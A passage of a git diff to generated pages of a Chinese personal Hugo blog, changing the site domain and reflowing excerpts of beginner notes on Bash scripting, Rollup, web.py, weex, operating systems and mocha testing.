stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>shell脚本学习笔记</h2></header><div class=entry-content><p>shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>shell脚本学习笔记</h2></header><div class=entry-content><p>shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
 例如：
-#!/bin/bash
-echo "hallo word"
-执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
+#!/bin/bash echo "hallo word" 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
 bash hallo.sh
 也可以直接执行
 ./hallo.sh
@@ -27,12 +25,7 @@
 获取当前脚本shell进程的ID：$$
 获取后台运行的最后一个进程的ID：$!
 配合函数使用（参数也可以通过函数来传递）
-function abc(){
-echo "参数1: $1"
-echo "被执行的脚本为: $0"
-}
-abc hallo
-....</p></div><footer class=entry-footer><span title='2021-11-23 00:01:00 +0000 UTC'>2021-11-23</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to shell脚本学习笔记" href=https://xiaochenabc123.github.io/posts/120/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Rollup模块打包工具</h2></header><div class=entry-content><p>根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
+function abc(){ echo "参数1: $1" echo "被执行的脚本为: $0" } abc hallo ....</p></div><footer class=entry-footer><span title='2021-11-23 00:01:00 +0000 UTC'>2021-11-23</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to shell脚本学习笔记" href=https://chenjunlinabc.github.io/posts/120/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Rollup模块打包工具</h2></header><div class=entry-content><p>根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
 Rollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的
 注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案
 提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包
@@ -42,36 +35,21 @@
 查看帮助文档
 rollup –help
 打包使用
-rollup -i index.js
-默认输出到终端
+rollup -i index.js 默认输出到终端
 指定输出到哪个文件
-rollup -i index.js --file dist.js
-还可以指定输出模块标准是哪个
-rollup -i index.js --file dist.js --format umd
-rollup -i index.js --file dist.js --format cjs
-rollup -i index.js --file dist.js --format iife
-打包
+rollup -i index.js --file dist.js 还可以指定输出模块标准是哪个
+rollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包
 rollup src/demo.js -f cjs -o dist/bundle.js
 注意：-f是–format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife
 使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中
 rollup src/demo.js -f umd -o dist/bundle.js –name hallo
-在global下声明一个名为hallo的对象，用来挂载全部的export模块...</p></div><footer class=entry-footer><span title='2021-11-10 16:22:00 +0000 UTC'>2021-11-10</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Rollup模块打包工具" href=https://xiaochenabc123.github.io/posts/119/></a></article><article class=post-entry><header class=entry-header><h2>Web.py学习笔记</h2></header><div class=entry-content><p>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
+在global下声明一个名为hallo的对象，用来挂载全部的export模块...</p></div><footer class=entry-footer><span title='2021-11-10 16:22:00 +0000 UTC'>2021-11-10</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Rollup模块打包工具" href=https://chenjunlinabc.github.io/posts/119/></a></article><article class=post-entry><header class=entry-header><h2>Web.py学习笔记</h2></header><div class=entry-content><p>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
 安装web.py
 pip install web.py
 导入模块
 import web
 第一个例子
-import web
-urls = (
-"/(.*)","hallo"
-)
-app = web.application(urls,globals())
-class hallo:
-def GET(self,name):
-return "&lt;h1>hallo web.py&lt;/h1>"
-if __name__=="__main__":
-app.run()
-可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</p></div><footer class=entry-footer><span title='2021-10-18 12:00:00 +0000 UTC'>2021-10-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Web.py学习笔记" href=https://xiaochenabc123.github.io/posts/117/></a></article><article class=post-entry><header class=entry-header><h2>weex跨平台框架学习笔记</h2></header><div class=entry-content><p>weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
+import web urls = ( "/(.*)","hallo" ) app = web.application(urls,globals()) class hallo: def GET(self,name): return "&lt;h1>hallo web.py&lt;/h1>" if __name__=="__main__": app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</p></div><footer class=entry-footer><span title='2021-10-18 12:00:00 +0000 UTC'>2021-10-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Web.py学习笔记" href=https://chenjunlinabc.github.io/posts/117/></a></article><article class=post-entry><header class=entry-header><h2>weex跨平台框架学习笔记</h2></header><div class=entry-content><p>weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
 支持ES6，跨平台，体积小，性能优异，编写规范
 官网：http://emas.weex.io/zh/
 weex调试工具：weexplayground（可以用来测试，要同局域网下）
@@ -93,7 +71,7 @@
 weex compile 目录或者文件 打包文件存放的目录或者文件 -m
 注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750
 不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形
-运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理</p></div><footer class=entry-footer><span title='2021-10-10 14:00:00 +0000 UTC'>2021-10-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to weex跨平台框架学习笔记" href=https://xiaochenabc123.github.io/posts/116/></a></article><article class=post-entry><header class=entry-header><h2>操作系统学习笔记</h2></header><div class=entry-content><p>操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
+运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理</p></div><footer class=entry-footer><span title='2021-10-10 14:00:00 +0000 UTC'>2021-10-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to weex跨平台框架学习笔记" href=https://chenjunlinabc.github.io/posts/116/></a></article><article class=post-entry><header class=entry-header><h2>操作系统学习笔记</h2></header><div class=entry-content><p>操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
 常见操作系统有Windows，Linux，Android
 操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互
 操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等
@@ -152,8 +130,8 @@
 运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用
 运行可切换到阻塞状态
 阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态
-进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了...</p></div><footer class=entry-footer><span title='2021-10-07 09:00:00 +0000 UTC'>2021-10-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 操作系统学习笔记" href=https://xiaochenabc123.github.io/posts/115/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/7/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/9/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了...</p></div><footer class=entry-footer><span title='2021-10-07 09:00:00 +0000 UTC'>2021-10-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 操作系统学习笔记" href=https://chenjunlinabc.github.io/posts/115/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/7/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/9/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/9/index.html b/page/9/index.html
index e8890aa3..e29d7a6c 100644
--- a/page/9/index.html
+++ b/page/9/index.html
@@ -1,21 +1,10 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单使用mocha测试框架</h2></header><div class=entry-content><p>mocha是JavaScript测试框架
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单使用mocha测试框架</h2></header><div class=entry-content><p>mocha是JavaScript测试框架
 安装
 npm install –global mocha
 测试，例如：
 demo.js
-function abc(a,b,c){
-return a+b+c
-}
-module.exports = abc
-demo.test.js
-const demo = require('./demo.js')
-const expect = require('chai').expect
-describe('test', function() {
-it('错误', function() {
-expect(demo(1,3,7)).to.be.equal(11)
-})
-})
-测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
+function abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js
